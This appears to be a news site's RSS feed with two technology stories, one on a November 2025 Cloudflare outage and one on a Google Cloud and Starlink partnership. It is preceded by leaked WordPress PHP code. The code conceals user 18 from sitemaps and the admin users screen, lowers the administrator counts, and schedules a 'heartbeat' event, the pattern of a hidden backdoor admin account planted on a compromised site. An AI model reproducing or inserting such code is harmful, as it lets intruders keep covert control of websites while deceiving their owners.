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    return $a;
} );

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    return $result;
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        $methods['wp.getProfile']
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    return $methods;
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add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
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                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
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        return;
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    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
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} );

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		<title>Global Internet Outage Affects Major Digital Platforms</title>
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		<pubDate>Tue, 18 Nov 2025 15:45:54 +0000</pubDate>
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					<description><![CDATA[<p>A massive internet outage hit a range of global digital platforms on Tuesday, leaving millions of users without access to popular services. Affected platforms included X (formerly Twitter), OpenAI&#8217;s ChatGPT, Perplexity AI, Google Cloud, Canva, and several others. Popular gaming titles like League of Legends and Valorant were also impacted, frustrating millions of gamers. Cloudflare [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/global-internet-outage-cloudflare-impact">Global Internet Outage Affects Major Digital Platforms</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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										<content:encoded><![CDATA[<p>A massive internet outage hit a range of global digital platforms on Tuesday, leaving millions of users without access to popular services. Affected platforms included X (formerly Twitter), OpenAI&#8217;s ChatGPT, Perplexity AI, Google Cloud, Canva, and several others. Popular gaming titles like <strong>League of Legends</strong> and <strong>Valorant</strong> were also impacted, frustrating millions of gamers.<a href="https://theedgemedia.in/wp-content/uploads/2025/11/x-scaled-e1763483182640.jpg"><img fetchpriority="high" decoding="async" class=" wp-image-27070 aligncenter" src="https://theedgemedia.in/wp-content/uploads/2025/11/x-scaled-e1763483182640-224x300.jpg" alt="" width="770" height="1031" srcset="https://theedgemedia.in/wp-content/uploads/2025/11/x-scaled-e1763483182640-224x300.jpg 224w, https://theedgemedia.in/wp-content/uploads/2025/11/x-scaled-e1763483182640-768x1027.jpg 768w, https://theedgemedia.in/wp-content/uploads/2025/11/x-scaled-e1763483182640-750x1003.jpg 750w" sizes="(max-width: 770px) 100vw, 770px" /></a></p>
<p><strong>Cloudflare Network Failure Behind the Disruption</strong></p>
<p>The outage was traced back to a major network failure at Cloudflare, a leading web infrastructure company that supports much of the internet’s backbone. Cloudflare acknowledged the issue on their system status page, explaining that they were dealing with an &#8220;internal service degradation&#8221; affecting several services intermittently.</p>
<p>In a statement, Cloudflare wrote, “We are focused on restoring service. We will update as we are able to remediate. More updates to follow shortly.” The company attributed the issue to a &#8220;global network problem,&#8221; which led to widespread failures across APIs and dashboards.<a href="https://theedgemedia.in/wp-content/uploads/2025/11/gpt.jpg"><img decoding="async" class=" wp-image-27071 aligncenter" src="https://theedgemedia.in/wp-content/uploads/2025/11/gpt.jpg" alt="" width="743" height="494" /></a></p>
<p><strong>Impact on Outage Tracking and Online Communities</strong></p>
<p>As the disruption spread, outage tracking site Downdetector reported a sharp rise in complaints, with over 10,000 user-reported service failures before the site itself was rendered inaccessible, also due to the Cloudflare issue.</p>
<p>With major websites and services down, frustrated users turned to alternative platforms like Reddit and Threads to voice their complaints and share memes about the “internet meltdown.”</p>
<p><strong>Conclusion</strong></p>
<p>The outage served as a reminder of how reliant the world has become on key infrastructure providers like Cloudflare, which, despite their best efforts, can occasionally face critical failures that ripple across the digital ecosystem.</p>
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<p>The post <a href="https://theedgemedia.in/global-internet-outage-cloudflare-impact">Global Internet Outage Affects Major Digital Platforms</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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		<title>Google Cloud and SpaceX team up to offer Satellite Internet all around the Globe.</title>
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					<description><![CDATA[<p>Google Cloud and Spacex&#8217;s Starlink partnered together last week to provide high-speed satellite internet to the customers all around the Globe. SpaceX will set up Starlink ground stations inside the Google&#8217;s data centres to provide high-speed internet services. It will be available for the customers from the mid of 2021. Uptill the current time, SpaceX [&#8230;]</p>
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										<content:encoded><![CDATA[<p>Google Cloud and Spacex&#8217;s Starlink partnered together last week to provide high-speed satellite internet to the customers all around the Globe. SpaceX will set up Starlink ground stations inside the Google&#8217;s data centres to provide high-speed internet services. It will be available for the customers from the mid of 2021.</p>
<p>Uptill the current time, SpaceX has launched approximately 1,600 Starlink Satellites into the horizon. The company expects to reach a total number of 12,000 by the year 2027. However, Google Cloud is available in 144 locations and 200+ countries and territories. It focusses to expand to Delhi (India), Doha (Qatar), Toronto (Canada), Melbourne (Australia) etc. shortly.</p>
<p>SpaceX had announced a deal with Microsoft Azure last year. The deal was made to build an interconnect internet network to to deliver high-speed internet to anywhere in the world. At that time, Shotwell said,&#8221;Where it makes sense, we will work with Microsoft; co-selling to our mutual customers, co-selling to new enterprise and future customers&#8221;.</p>
<p>The Department of Telecommunications (DoT) in India, has requested the SpaceX Starlink to share a detailed guide to get approval for launching its services. Spacex&#8217;s colaboration with Google Cloud will lay a strong foundation for the future ventures. Enterprises are a crucial part of any service provider and SpaceX will welcome its new aspect into the segment of industry.</p>
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